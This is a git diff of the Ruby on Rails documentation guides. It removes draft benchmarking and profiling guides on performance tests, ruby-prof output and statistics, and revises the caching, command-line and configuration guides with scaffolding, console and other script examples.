-----------------------------------------------------------------------------
-require 'test/performance/test_helper.rb'
-----------------------------------------------------------------------------
-
-=== Testing ===
-
-#TODO is there some way to compare multiple request at once like ruby_analyze
-
-Now, if we look at the generated performance test ( one we generated using _script/generate performance_test_ ), it'll look something like :
-
-[source, ruby]
-----------------------------------------------------------------------------
-.require 'performance/test_helper'
-
-class HomepageTest < ActionController::PerformanceTest
- # Replace this with your real tests.
- def test_homepage
- get '/'
- end
-end
-----------------------------------------------------------------------------
-
-
-The format looks very similar to that of an integration test. And guess what, that's what it is. But that doesn't stop you from testing your Model methods. You could very well write something like :
-
-[source, ruby]
-----------------------------------------------------------------------------
-require 'performance/test_helper'
-
-class UserModelTest < ActionController::PerformanceTest
- # Replace this with your real tests.
- def test_slow_find
- User.this_takes_shlong_to_run
- end
-end
-----------------------------------------------------------------------------
-
-
-Which is very useful way to profile individual processes.
diff --git a/railties/doc/guides/source/benchmarking_and_profiling/gameplan.txt b/railties/doc/guides/source/benchmarking_and_profiling/gameplan.txt
deleted file mode 100644
index 1f1d365eff..0000000000
--- a/railties/doc/guides/source/benchmarking_and_profiling/gameplan.txt
+++ /dev/null
@@ -1,27 +0,0 @@
-== Get Yourself a Game Plan ==
-
-You end up dealing with a large amount of data whenever you profile an application. It's crucial to use a rigorous approach to analyzing your application's performance else fail miserably in a vortex of numbers. This leads us to -
-
-=== The Analysis Process ===
-
-I’m going to give an example methodology for conducting your benchmarking and profiling on an application. It is based on your typical scientific method.
-
-For something as complex as Benchmarking you need to take any methodology with a grain of salt but there are some basic strictures that you can depend on.
-
-Formulate a question you need to answer which is simple, tests the smallest measurable thing possible, and is exact. This is typically the hardest part of the experiment. From there some steps that you should follow are.
-
-* Develop a set of variables and processes to measure in order to answer this question!
-* Profile based on the question and variables. Key problems to avoid when designing this experiment are:
- - Confounding: Test one thing at a time, keep everything the same so you don't poison the data with uncontrolled processes.
- - Cross Contamination: Make sure that runs from one test do not harm the other tests.
- - Steady States: If you’re testing long running process. You must take the ramp up time and performance hit into your initial measurements.
- - Sampling Error: Data should perform have a steady variance or range. If you get wild swings or sudden spikes, etc. then you must either account for the reason why or you have a sampling error.
- - Measurement Error: Aka Human error, always go through your calculations at least twice to make sure there are no mathematical errors. .
-* Do a small run of the experiment to verify the design.
-* Use the small run to determine a proper sample size.
-* Run the test.
-* Perform the analysis on the results and determine where to go from there.
-
-Note: Even though we are using the typical scientific method; developing a hypothesis is not always useful in terms of profiling.
-
-
diff --git a/railties/doc/guides/source/benchmarking_and_profiling/index.txt b/railties/doc/guides/source/benchmarking_and_profiling/index.txt
deleted file mode 100644
index ef45ff62c6..0000000000
--- a/railties/doc/guides/source/benchmarking_and_profiling/index.txt
+++ /dev/null
@@ -1,242 +0,0 @@
-Benchmarking and Profiling Rails
-================================
-
-This guide covers the benchmarking and profiling tactics/tools of Rails and Ruby in general. By referring to this guide, you will be able to:
-
-* Understand the various types of benchmarking and profiling metrics
-* Generate performance/benchmarking tests
-* Use GC patched Ruby binary to measure memory usage and object allocation
-* Understand the information provided by Rails inside the log files
-* Learn about various tools facilitating benchmarking and profiling
-
-== Why Benchmark and Profile ?
-
-Benchmarking and Profiling is an integral part of the development cycle. It is very important that you don't make your end users wait for too long before the page is completely loaded. Ensuring a plesant browsing experience to the end users and cutting cost of unnecessary hardwares is important for any web application.
-
-=== What is the difference between benchmarking and profiling ? ===
-
-Benchmarking is the process of finding out if a piece of code is slow or not. Whereas profiling is the process of finding out what exactly is slowing down that piece of code.
-
-== Using and understanding the log files ==
-
-Rails logs files containt basic but very useful information about the time taken to serve every request. A typical log entry looks something like :
-
-[source, ruby]
-----------------------------------------------------------------------------
-Processing ItemsController#index (for 127.0.0.1 at 2008-10-17 00:08:18) [GET]
- Session ID: BAh7BiIKZmxhc2hJQzonQWN0aHsABjoKQHVzZWR7AA==--83cff4fe0a897074a65335
- Parameters: {"action"=>"index", "controller"=>"items"}
-Rendering template within layouts/items
-Rendering items/index
-Completed in 5ms (View: 2, DB: 0) | 200 OK [http://localhost/items]
-----------------------------------------------------------------------------
-
-For this section, we're only interested in the last line from that log entry:
-
-[source, ruby]
-----------------------------------------------------------------------------
-Completed in 5ms (View: 2, DB: 0) | 200 OK [http://localhost/items]
-----------------------------------------------------------------------------
-
-This data is fairly straight forward to understand. Rails uses millisecond(ms) as the metric to measures the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller.
-
-== Helper methods ==
-
-Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a specific code. The method is called +benchmark()+ in all three components.
-
-[source, ruby]
-----------------------------------------------------------------------------
-Project.benchmark("Creating project") do
- project = Project.create("name" => "stuff")
- project.create_manager("name" => "David")
- project.milestones << Milestone.find(:all)
-end
-----------------------------------------------------------------------------
-
-The above code benchmarks the multiple statments enclosed inside +Project.benchmark("Creating project") do..end+ block and prints the results inside log files. The statement inside log files will look like:
-
-[source, ruby]
-----------------------------------------------------------------------------
-Creating projectem (185.3ms)
-----------------------------------------------------------------------------
-
-Please refer to http://api.rubyonrails.com/classes/ActiveRecord/Base.html#M001336[API docs] for optional options to +benchmark()+
-
-Similarly, you could use this helper method inside http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715[controllers] ( Note that it's a class method here ):
-
-[source, ruby]
-----------------------------------------------------------------------------
-def process_projects
- self.class.benchmark("Processing projects") do
- Project.process(params[:project_ids])
- Project.update_cached_projects
- end
-end
-----------------------------------------------------------------------------
-
-and http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715[views]:
-
-[source, ruby]
-----------------------------------------------------------------------------
-<% benchmark("Showing projects partial") do %>
- <%= render :partial => @projects %>
-<% end %>
-----------------------------------------------------------------------------
-
-== Performance Test Cases ==
-
-Rails provides a very easy to write performance test cases, which look just like the regular integration tests.
-
-If you have a look at +test/performance/browsing_test.rb+ in a newly created Rails application:
-
-[source, ruby]
-----------------------------------------------------------------------------
-require 'test_helper'
-require 'performance_test_help'
-
-# Profiling results for each test method are written to tmp/performance.
-class BrowsingTest < ActionController::PerformanceTest
- def test_homepage
- get '/'
- end
-end
-----------------------------------------------------------------------------
-
-This is an automatically generated example performance test file, for testing performance of homepage('/') of the application.
-
-=== Modes ===
-
-==== Benchmarking ====
-==== Profiling ====
-
-=== Metrics ===
-
-==== Process Time ====
-
-CPU Cycles.
-
-==== Memory ====
-
-Memory taken.
-
-==== Objects ====
-
-Objects allocated.
-
-==== GC Runs ====
-
-Number of times the Ruby GC was run.
-
-==== GC Time ====
-
-Time spent running the Ruby GC.
-
-=== Preparing Ruby and Ruby-prof ===
-
-Before we go ahead, Rails performance testing requires you to build a special Ruby binary with some super powers - GC patch for measuring GC Runs/Time. This process is very straight forward. If you've never compiled a Ruby binary before, you can follow the following steps to build a ruby binary inside your home directory:
-
-==== Compile ====
-
-[source, shell]
-----------------------------------------------------------------------------
-[lifo@null ~]$ mkdir rubygc
-[lifo@null ~]$ wget ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p111.tar.gz
-[lifo@null ~]$ tar -xzvf ruby-1.8.6-p111.tar.gz
-[lifo@null ~]$ cd ruby-1.8.6-p111
-[lifo@null ruby-1.8.6-p111]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0
-[lifo@null ruby-1.8.6-p111]$ ./configure --prefix=/Users/lifo/rubygc
-[lifo@null ruby-1.8.6-p111]$ make && make install
-----------------------------------------------------------------------------
-
-==== Prepare aliases ====
-
-Add the following lines in your ~/.profile for convenience:
-
-----------------------------------------------------------------------------
-alias gcruby='/Users/lifo/rubygc/bin/ruby'
-alias gcrake='/Users/lifo/rubygc/bin/rake'
-alias gcgem='/Users/lifo/rubygc/bin/gem'
-alias gcirb='/Users/lifo/rubygc/bin/irb'
-alias gcrails='/Users/lifo/rubygc/bin/rails'
-----------------------------------------------------------------------------
-
-==== Install rubygems and some basic gems ====
-
-----------------------------------------------------------------------------
-[lifo@null ~]$ wget http://rubyforge.org/frs/download.php/38646/rubygems-1.2.0.tgz
-[lifo@null ~]$ tar -xzvf rubygems-1.2.0.tgz
-[lifo@null ~]$ cd rubygems-1.2.0
-[lifo@null rubygems-1.2.0]$ gcruby setup.rb
-[lifo@null rubygems-1.2.0]$ cd ~
-[lifo@null ~]$ gcgem install rake
-[lifo@null ~]$ gcgem install rails
-----------------------------------------------------------------------------
-
-==== Install MySQL gem ====
-
-----------------------------------------------------------------------------
-[lifo@null ~]$ gcgem install mysql
-----------------------------------------------------------------------------
-
-If this fails, you can try to install it manually:
-
-----------------------------------------------------------------------------
-[lifo@null ~]$ cd /Users/lifo/rubygc/lib/ruby/gems/1.8/gems/mysql-2.7/
-[lifo@null mysql-2.7]$ gcruby extconf.rb --with-mysql-config
-[lifo@null mysql-2.7]$ make && make install
-----------------------------------------------------------------------------
-
-=== Installing Jeremy Kemper's ruby-prof ===
-
-We also need to install Jeremy's ruby-prof gem using our newly built ruby:
-
-[source, shell]
-----------------------------------------------------------------------------
-[lifo@null ~]$ git clone git://github.com/jeremy/ruby-prof.git
-[lifo@null ~]$ cd ruby-prof/
-[lifo@null ruby-prof (master)]$ gcrake gem
-[lifo@null ruby-prof (master)]$ gcgem install pkg/ruby-prof-0.6.1.gem
-----------------------------------------------------------------------------
-
-=== Generating performance test ===
-
-Rails provides a simple generator for creating new performance tests:
-
-[source, shell]
-----------------------------------------------------------------------------
-[lifo@null application (master)]$ script/generate performance_test homepage
-----------------------------------------------------------------------------
-
-This will generate +test/performance/homepage_test.rb+:
-
-[source, ruby]
-----------------------------------------------------------------------------
-require 'test_helper'
-require 'performance_test_help'
-
-class HomepageTest < ActionController::PerformanceTest
- # Replace this with your real tests.
- def test_homepage
- get '/'
- end
-end
-----------------------------------------------------------------------------
-
-Which you can modify to suit your needs.
-
-=== Running tests ===
-
-include::rubyprof.txt[]
-
-include::digging_deeper.txt[]
-
-include::gameplan.txt[]
-
-include::appendix.txt[]
-
-== Changelog ==
-
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4[Lighthouse ticket]
-
-* October 17, 2008: First revision by Pratik
-* September 6, 2008: Initial version by Matthew Bergman <MzbPhoto@gmail.com> \ No newline at end of file
diff --git a/railties/doc/guides/source/benchmarking_and_profiling/rubyprof.txt b/railties/doc/guides/source/benchmarking_and_profiling/rubyprof.txt
deleted file mode 100644
index fa01d413a1..0000000000
--- a/railties/doc/guides/source/benchmarking_and_profiling/rubyprof.txt
+++ /dev/null
@@ -1,179 +0,0 @@
-== Understanding Performance Tests Outputs ==
-
-=== Our First Performance Test ===
-
-So how do we profile a request.
-
-One of the things that is important to us is how long it takes to render the home page - so let's make a request to the home page. Once the request is complete, the results will be outputted in the terminal.
-
-In the terminal run
-
-[source, ruby]
-----------------------------------------------------------------------------
-[User profiling_tester]$ gcruby tests/performance/homepage.rb
-----------------------------------------------------------------------------
-
-After the tests runs for a few seconds you should see something like this.
-
-----------------------------------------------------------------------------
-HomepageTest#test_homepage (19 ms warmup)
- process_time: 26 ms
- memory: 298.79 KB
- objects: 1917
-
-Finished in 2.207428 seconds.
-----------------------------------------------------------------------------
-
-Simple but efficient.
-
-* Process Time refers to amount of time necessary to complete the action.
-* memory is the amount of information loaded into memory
-* object ??? #TODO find a good definition. Is it the amount of objects put into a ruby heap for this process?
-
-In addition we also gain three types of itemized log files for each of these outputs. They can be found in your tmp directory of your application.
-
-*The Three types are*
-
-* Flat File - A simple text file with the data laid out in a grid
-* Graphical File - A html colored coded version of the simple text file with hyperlinks between the various methods. Most useful is the bolding of the main processes for each portion of the action.
-* Tree File - A file output that can be use in conjunction with KCachegrind to visualize the process
-
-NOTE: KCachegrind is Linux only. For Mac this means you have to do a full KDE install to have it working in your OS. Which is over 3 gigs in size. For windows there is clone called wincachegrind but it is no longer actively being developed.
-
-Below are examples for Flat Files and Graphical Files
-
-=== Flat Files ===
-
-.Flat File Output Processing Time
-============================================================================
-Thread ID: 2279160
-Total: 0.026097
-
- %self total self wait child calls name
- 6.41 0.06 0.04 0.00 0.02 571 Kernel#===
- 3.17 0.00 0.00 0.00 0.00 172 Hash#[]
- 2.42 0.00 0.00 0.00 0.00 13 MonitorMixin#mon_exit
- 2.05 0.00 0.00 0.00 0.00 15 Array#each
- 1.56 0.00 0.00 0.00 0.00 6 Logger#add
- 1.55 0.00 0.00 0.00 0.00 13 MonitorMixin#mon_enter
- 1.36 0.03 0.00 0.00 0.03 1 ActionController::Integration::Session#process
- 1.31 0.00 0.00 0.00 0.00 13 MonitorMixin#mon_release
- 1.15 0.00 0.00 0.00 0.00 8 MonitorMixin#synchronize-1
- 1.09 0.00 0.00 0.00 0.00 23 Class#new
- 1.03 0.01 0.00 0.00 0.01 5 MonitorMixin#synchronize
- 0.89 0.00 0.00 0.00 0.00 74 Hash#default
- 0.89 0.00 0.00 0.00 0.00 6 Hodel3000CompliantLogger#format_message
- 0.80 0.00 0.00 0.00 0.00 9 c
- 0.80 0.00 0.00 0.00 0.00 11 ActiveRecord::ConnectionAdapters::ConnectionHandler#retrieve_connection_pool
- 0.79 0.01 0.00 0.00 0.01 1 ActionController::Benchmarking#perform_action_without_rescue
- 0.18 0.00 0.00 0.00 0.00 17 <Class::Object>#allocate
-============================================================================
-
-So what do these columns tell us:
-
- * %self - The percentage of time spent processing the method. This is derived from self_time/total_time
- * total - The time spent in this method and its children.
- * self - The time spent in this method.
- * wait - Time processed was queued
- * child - The time spent in this method's children.
- * calls - The number of times this method was called.
- * name - The name of the method.
-
-Name can be displayed three seperate ways:
- * #toplevel - The root method that calls all other methods
- * MyObject#method - Example Hash#each, The class Hash is calling the method each
- * <Object:MyObject>#test - The <> characters indicate a singleton method on a singleton class. Example <Class::Object>#allocate
-
-Methods are sorted based on %self. Hence the ones taking the most time and resources will be at the top.
-
-So for Array#each which is calling each on the class array. We find that it processing time is 2% of the total and was called 15 times. The rest of the information is 0.00 because the process is so fast it isn't recording times less then 100 ms.
-
-
-.Flat File Memory Output
-============================================================================
-Thread ID: 2279160
-Total: 509.724609
-
- %self total self wait child calls name
- 4.62 23.57 23.57 0.00 0.00 34 String#split
- 3.95 57.66 20.13 0.00 37.53 3 <Module::YAML>#quick_emit
- 2.82 23.70 14.35 0.00 9.34 2 <Module::YAML>#quick_emit-1
- 1.37 35.87 6.96 0.00 28.91 1 ActionView::Helpers::FormTagHelper#form_tag
- 1.35 7.69 6.88 0.00 0.81 1 ActionController::HttpAuthentication::Basic::ControllerMethods#authenticate_with_http_basic
- 1.06 6.09 5.42 0.00 0.67 90 String#gsub
- 1.01 5.13 5.13 0.00 0.00 27 Array#-
-============================================================================
-
-Very similar to the processing time format. The main difference here is that instead of calculating time we are now concerned with the amount of KB put into memory *(or is it strictly into the heap) can I get clarification on this minor point?*
-
-So for <Module::YAML>#quick_emit which is singleton method on the class YAML it uses 57.66 KB in total, 23.57 through its own actions, 6.69 from actions it calls itself and that it was called twice.
-
-.Flat File Objects
-============================================================================
-Thread ID: 2279160
-Total: 6537.000000
-
- %self total self wait child calls name
- 15.16 1096.00 991.00 0.00 105.00 66 Hash#each
- 5.25 343.00 343.00 0.00 0.00 4 Mysql::Result#each_hash
- 4.74 2203.00 310.00 0.00 1893.00 42 Array#each
- 3.75 4529.00 245.00 0.00 4284.00 1 ActionView::Base::CompiledTemplates#_run_erb_47app47views47layouts47application46html46erb
- 2.00 136.00 131.00 0.00 5.00 90 String#gsub
- 1.73 113.00 113.00 0.00 0.00 34 String#split
- 1.44 111.00 94.00 0.00 17.00 31 Array#each-1
-============================================================================
-
-
- #TODO Find correct terminology for how to describe what this is exactly profiling as in are there really 2203 array objects or 2203 pointers to array objects?.
-
-=== Graph Files ===
-
-While the information gleamed from flat files is very useful we still don't know which processes each method is calling. We only know how many. This is not true for a graph file. Below is a text representation of a graph file. The actual graph file is an html entity and an example of which can be found link:examples/graph.html[Here]
-
-#TODO (Handily the graph file has links both between it many processes and to the files that actually contain them for debugging.
- )
-
-.Graph File
-============================================================================
-Thread ID: 21277412
-
- %total %self total self children calls Name
-/____________________________________________________________________________/
-100.00% 0.00% 8.77 0.00 8.77 1 #toplevel*
- 8.77 0.00 8.77 1/1 Object#run_primes
-/____________________________________________________________________________/
- 8.77 0.00 8.77 1/1 #toplevel
-100.00% 0.00% 8.77 0.00 8.77 1 Object#run_primes*
- 0.02 0.00 0.02 1/1 Object#make_random_array
- 2.09 0.00 2.09 1/1 Object#find_largest
- 6.66 0.00 6.66 1/1 Object#find_primes
-/____________________________________________________________________________/
- 0.02 0.02 0.00 1/1 Object#make_random_array
-0.18% 0.18% 0.02 0.02 0.00 1 Array#each_index
- 0.00 0.00 0.00 500/500 Kernel.rand
- 0.00 0.00 0.00 500/501 Array#[]=
-/____________________________________________________________________________/
-============================================================================
-
-As you can see the calls have been separated into slices, no longer is the order determined by process time but instead from hierarchy. Each slice profiles a primary entry, with the primary entry's parents being shown above itself and it's children found below. A primary entry can be ascertained by it having values in the %total and %self columns. Here the main entry here have been bolded for connivence.
-
-So if we look at the last slice. The primary entry would be Array#each_index. It takes 0.18% of the total process time and it is only called once. It is called from Object#make_random_array which is only called once. It's children are Kernal.rand which is called by it all 500 its times that it was call in this action and Arry#[]= which was called 500 times by Array#each_index and once by some other entry.
-
-=== Tree Files ===
-
-It's pointless trying to represent a tree file textually so here's a few pretty pictures of it's usefulness
-
-.KCachegrind Graph
-[caption="KCachegrind graph"]
-image:images/kgraph.png[Graph created by KCachegrind]
-
-.KCachegrind List
-[caption="KCachegrind List"]
-image:images/klist.png[List created by KCachegrind]
-
-#TODO Add a bit more information to this.
-
-== Getting to the Point of all of this ==
-
-Now I know all of this is a bit dry and academic. But it's a very powerful tool when you know how to leverage it properly. Which we are going to take a look at in our next section
-
diff --git a/railties/doc/guides/source/benchmarking_and_profiling/statistics.txt b/railties/doc/guides/source/benchmarking_and_profiling/statistics.txt
deleted file mode 100644
index 9fca979dec..0000000000
--- a/railties/doc/guides/source/benchmarking_and_profiling/statistics.txt
+++ /dev/null
@@ -1,57 +0,0 @@
-== A Lession In Statistics ==
-
-#TODO COMPRESS DOWN INTO A PARAGRAPH AND A HALF
-maybe I'll just combine with the methodology portion as an appendix.
-
-Adapted from a blog Article by Zed Shaw. His rant is funnier but will take longer to read. <br /> http://www.zedshaw.com/rants/programmer_stats.html[Programmers Need To Learn Statistics Or I Will Kill Them All]
-
-=== Why Learn Statistics ===
-
-Statistics is a hard discipline. One can study it for years without fully grasping all the complexities. But its a necessary evil for coders of every level to at least know the basics. You can't optimize without it, and if you use it wrong, you'll just waste your time and the rest of your team's.
-
-=== Power-of-Ten Syndrome ===
-
-If you done any benchmarking you have probably heard
-“All you need to do is run that test [insert power-of-ten] times and then do an average.”
-
-For new developers this whole power of ten comes about because we need enough data to minimize the results being contaminated by outliers. If you loaded a page five times with three of those times being around 75ms and twice 250ms you have no way of knowing the real average processing time for you page. But if we take a 1000 times and 950 are 75ms and 50 are 250ms we have a much clearer picture of the situation.
-
-But this still begs the question of how you determine that 1000 is the correct number of iterations to improve the power of the experiment? (Power in this context basically means the chance that your experiment is right.)
-
-The first thing that needs to be determined is how you are performing the samplings? 1000 iterations run in a massive sequential row? A set of 10 runs with 100 each? The statistics are different depending on which you do, but the 10 runs of 100 each would be a better approach. This lets you compare sample means and figure out if your repeated runs have any bias. More simply put, this allows you to see if you have a many or few outliers that might be poisoning your averages.
-
-Another consideration is if a 1000 transactions is enough to get the process into a steady state after the ramp-up period? If you are benchmarking a long running process that stabilizes only after a warm-up time you must take that into consideration.
-
-Also remember getting an average is not an end goal in itself. In fact in some cases they tell you almost nothing.
-
-=== Don't Just Use Averages! ===
-
-One cannot simply say my website “[insert power-of-ten] requests per second”. This is due to it being an Average. Without some form of range or variance error analysis it's a useless number. Two averages can be the same, but hide massive differences in behavior. Without a standard deviation it’s not possible to figure out if the two might even be close.
-
-Two averages can be the same say 30 requests a second and yet have a completely different standard deviation. Say the first sample has +-3 and the second is +-30
-
-Stability is vastly different for these two samples If this were a web server performance run I’d say the second server has a major reliability problem. No, it’s not going to crash, but it’s performance response is so erratic that you’d never know how long a request would take. Even though the two servers perform the same on average, users will think the second one is slower because of how it seems to randomly perform.
-
-Another big thing to take into consideration when benchmarking and profiling is Confounding
-
-=== Confounding ===
-
-The idea of confounding is pretty simple: If you want to measure something, then don’t measure anything else.
-
-#TODO add more information in how to avoid confounding.
-
-* Your testing system and your production system must be separate. You can't profile on the same system because you are using resources to run the test that your server should be using to serve the requests.
-
-And one more thing.
-
-=== Define what you are Measuring ===
-
-Before you can measure something you really need to lay down a very concrete definition of what you’re measuring. You should also try to measure the simplest thing you can and try to avoid confounding.
-
-The most important thing to determine though is how much data you can actually send to your application through it's pipe.
-
-=== Back to Business ===
-
-Now I know this was all a bit boring, but these fundamentals a necessary for understanding what we are actually doing here. Now onto the actual code and rails processes.
-
-
diff --git a/railties/doc/guides/source/caching_with_rails.txt b/railties/doc/guides/source/caching_with_rails.txt
index 16dac19e08..6da67ed481 100644
--- a/railties/doc/guides/source/caching_with_rails.txt
+++ b/railties/doc/guides/source/caching_with_rails.txt
@@ -214,19 +214,19 @@ sweeper such as the following:
[source, ruby]
-----------------------------------------------------
class StoreSweeper < ActionController::Caching::Sweeper
- observe Product # This sweeper is going to keep an eye on the Post model
+ observe Product # This sweeper is going to keep an eye on the Product model
- # If our sweeper detects that a Post was created call this
+ # If our sweeper detects that a Product was created call this
def after_create(product)
expire_cache_for(product)
end
- # If our sweeper detects that a Post was updated call this
+ # If our sweeper detects that a Product was updated call this
def after_update(product)
expire_cache_for(product)
end
- # If our sweeper detects that a Post was deleted call this
+ # If our sweeper detects that a Product was deleted call this
def after_destroy(product)
expire_cache_for(product)
end
diff --git a/railties/doc/guides/source/command_line.txt b/railties/doc/guides/source/command_line.txt
index 1ad2e75c51..8a887bd001 100644
--- a/railties/doc/guides/source/command_line.txt
+++ b/railties/doc/guides/source/command_line.txt
@@ -52,7 +52,7 @@ NOTE: This output will seem very familiar when we get to the `generate` command.
=== server ===
-Let's try it! The `server` command launches a small web server written in Ruby named WEBrick which was also installed when you installed Rails. You'll use this any time you want to view your work through a web browser.
+Let's try it! The `server` command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to view your work through a web browser.
NOTE: WEBrick isn't your only option for serving Rails. We'll get to that in a later section. [XXX: which section]
@@ -99,7 +99,7 @@ Using generators will save you a large amount of time by writing *boilerplate co
Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:
-NOTE: All Rails console utilities have help text. For commands that require a lot of input to run correctly, you can try the command without any parameters (like `rails` or `./script/generate`). For others, you can try adding `--help` or `-h` to the end, as in `./script/server --help`.
+NOTE: All Rails console utilities have help text. As with most *NIX utilities, you can try adding `--help` or `-h` to the end, for example `./script/server --help`.
[source,shell]
------------------------------------------------------
@@ -200,24 +200,47 @@ Examples:
creates a Post model with a string title, text body, and published flag.
------------------------------------------------------
-Let's set up a simple model called "HighScore" that will keep track of our highest score on video games we play. Then we'll wire up our controller and view to modify and list our scores.
+But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A *scaffold* in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.
+
+Let's set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.
[source,shell]
------------------------------------------------------
-$ ./script/generate model HighScore id:integer game:string score:integer
- exists app/models/
- exists test/unit/
- exists test/fixtures/
- create app/models/high_score.rb
- create test/unit/high_score_test.rb
- create test/fixtures/high_scores.yml
- create db/migrate
- create db/migrate/20081126032945_create_high_scores.rb
+$ ./script/generate scaffold HighScore game:string score:integer
+ exists app/models/
+ exists app/controllers/
+ exists app/helpers/
+ create app/views/high_scores
+ create app/views/layouts/
+ exists test/functional/
+ create test/unit/
+ create public/stylesheets/
+ create app/views/high_scores/index.html.erb
+ create app/views/high_scores/show.html.erb
+ create app/views/high_scores/new.html.erb
+ create app/views/high_scores/edit.html.erb
+ create app/views/layouts/high_scores.html.erb
+ create public/stylesheets/scaffold.css
+ create app/controllers/high_scores_controller.rb
+ create test/functional/high_scores_controller_test.rb
+ create app/helpers/high_scores_helper.rb
+ route map.resources :high_scores
+dependency model
+ exists app/models/
+ exists test/unit/
+ create test/fixtures/
+ create app/models/high_score.rb
+ create test/unit/high_score_test.rb
+ create test/fixtures/high_scores.yml
+ exists db/migrate
+ create db/migrate/20081217071914_create_high_scores.rb
------------------------------------------------------
-Taking it from the top, we have the *models* directory, where all of your data models live. *test/unit*, where all the unit tests live (gasp! -- unit tests!), fixtures for those tests, a test, the *migrate* directory, where the database-modifying migrations live, and a migration to create the `high_scores` table with the right fields.
+Taking it from the top - the generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the `high_scores` table and fields), takes care of the route for the *resource*, and new tests for everything.
+
+The migration requires that we *migrate*, that is, run some Ruby code (living in that `20081217071914_create_high_scores.rb`) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while.
-The migration requires that we *migrate*, that is, run some Ruby code (living in that `20081126032945_create_high_scores.rb`) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while.
+NOTE: Hey. Install the sqlite3-ruby gem while you're at it. `gem install sqlite3-ruby`
[source,shell]
------------------------------------------------------
@@ -231,23 +254,87 @@ $ rake db:migrate
NOTE: Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We'll make one in a moment.
-Yo! Let's shove a small table into our greeting controller and view, listing our sweet scores.
+Let's see the interface Rails created for us. ./script/server; http://localhost:3000/high_scores
-[source,ruby]
+We can create new high scores (55,160 on Space Invaders!)
+
+=== console ===
+The `console` command lets you interact with your Rails application from the command line. On the underside, `script/console` uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.
+
+=== dbconsole ===
+`dbconsole` figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3.
+
+=== plugin ===
+The `plugin` command simplifies plugin management; think a miniature version of the Gem utility. Let's walk through installing a plugin. You can call the sub-command *discover*, which sifts through repositories looking for plugins, or call *source* to add a specific repository of plugins, or you can specify the plugin location directly.
+
+Let's say you're creating a website for a client who wants a small accounting system. Every event having to do with money must be logged, and must never be deleted. Wouldn't it be great if we could override the behavior of a model to never actually take its record out of the database, but *instead*, just set a field?
+
+There is such a thing! The plugin we're installing is called "acts_as_paranoid", and it lets models implement a "deleted_at" column that gets set when you call destroy. Later, when calling find, the plugin will tack on a database check to filter out "deleted" things.
+
+[source,shell]
+------------------------------------------------------
+$ ./script/plugin install http://svn.techno-weenie.net/projects/plugins/acts_as_paranoid
++ ./CHANGELOG
++ ./MIT-LICENSE
+...
+...
------------------------------------------------------
-class GreetingController < ApplicationController
- def hello
- if request.post?
- score = HighScore.new(params[:high_score])
- if score.save
- flash[:notice] = "New score posted!"
- end
- end
-
- @scores = HighScore.find(:all)
- end
-end
+=== runner ===
+`runner` runs Ruby code in the context of Rails non-interactively. For instance:
+
+[source,shell]
------------------------------------------------------
+$ ./script/runner "Model.long_running_method"
+------------------------------------------------------
+
+=== destroy ===
+Think of `destroy` as the opposite of `generate`. It'll figure out what generate did, and undo it. Believe you-me, the creation of this tutorial used this command many times!
-XXX: Go with scaffolding instead, modifying greeting controller for high scores seems dumb.
+[source,shell]
+------------------------------------------------------
+$ ./script/generate model Oops
+ exists app/models/
+ exists test/unit/
+ exists test/fixtures/
+ create app/models/oops.rb
+ create test/unit/oops_test.rb
+ create test/fixtures/oops.yml
+ exists db/migrate
+ create db/migrate/20081221040817_create_oops.rb
+$ ./script/destroy model Oops
+ notempty db/migrate
+ notempty db
+ rm db/migrate/20081221040817_create_oops.rb
+ rm test/fixtures/oops.yml
+ rm test/unit/oops_test.rb
+ rm app/models/oops.rb
+ notempty test/fixtures
+ notempty test
+ notempty test/unit
+ notempty test
+ notempty app/models
+ notempty app
+------------------------------------------------------
+
+=== about ===
+Check it: Version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version! `about` is useful when you need to ask help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.
+
+[source,shell]
+------------------------------------------------------
+$ ./script/about
+About your application's environment
+Ruby version 1.8.6 (i486-linux)
+RubyGems version 1.3.1
+Rails version 2.2.0
+Active Record version 2.2.0
+Action Pack version 2.2.0
+Active Resource version 2.2.0
+Action Mailer version 2.2.0
+Active Support version 2.2.0
+Edge Rails revision unknown
+Application root /home/commandsapp
+Environment development
+Database adapter sqlite3
+Database schema version 20081217073400
+------------------------------------------------------ \ No newline at end of file
diff --git a/railties/doc/guides/source/configuring.txt b/railties/doc/guides/source/configuring.txt
index 945e48cd45..489e205eb1 100644
--- a/railties/doc/guides/source/configuring.txt
+++ b/railties/doc/guides/source/configuring.txt
@@ -6,23 +6,43 @@ This guide covers the configuration and initialization features available to Rai
* Adjust the behavior of your Rails applications
* Add additional code to be run at application start time
+NOTE: The first edition of this Guide was written from the Rails 2.3 source code. While the information it contains is broadly applicable to Rails 2.2, backwards compatibility is not guaranteed.
+
== Locations for Initialization Code
-preinitializers
-environment.rb first
-env-specific files
-initializers (load_application_initializers)
-after-initializer
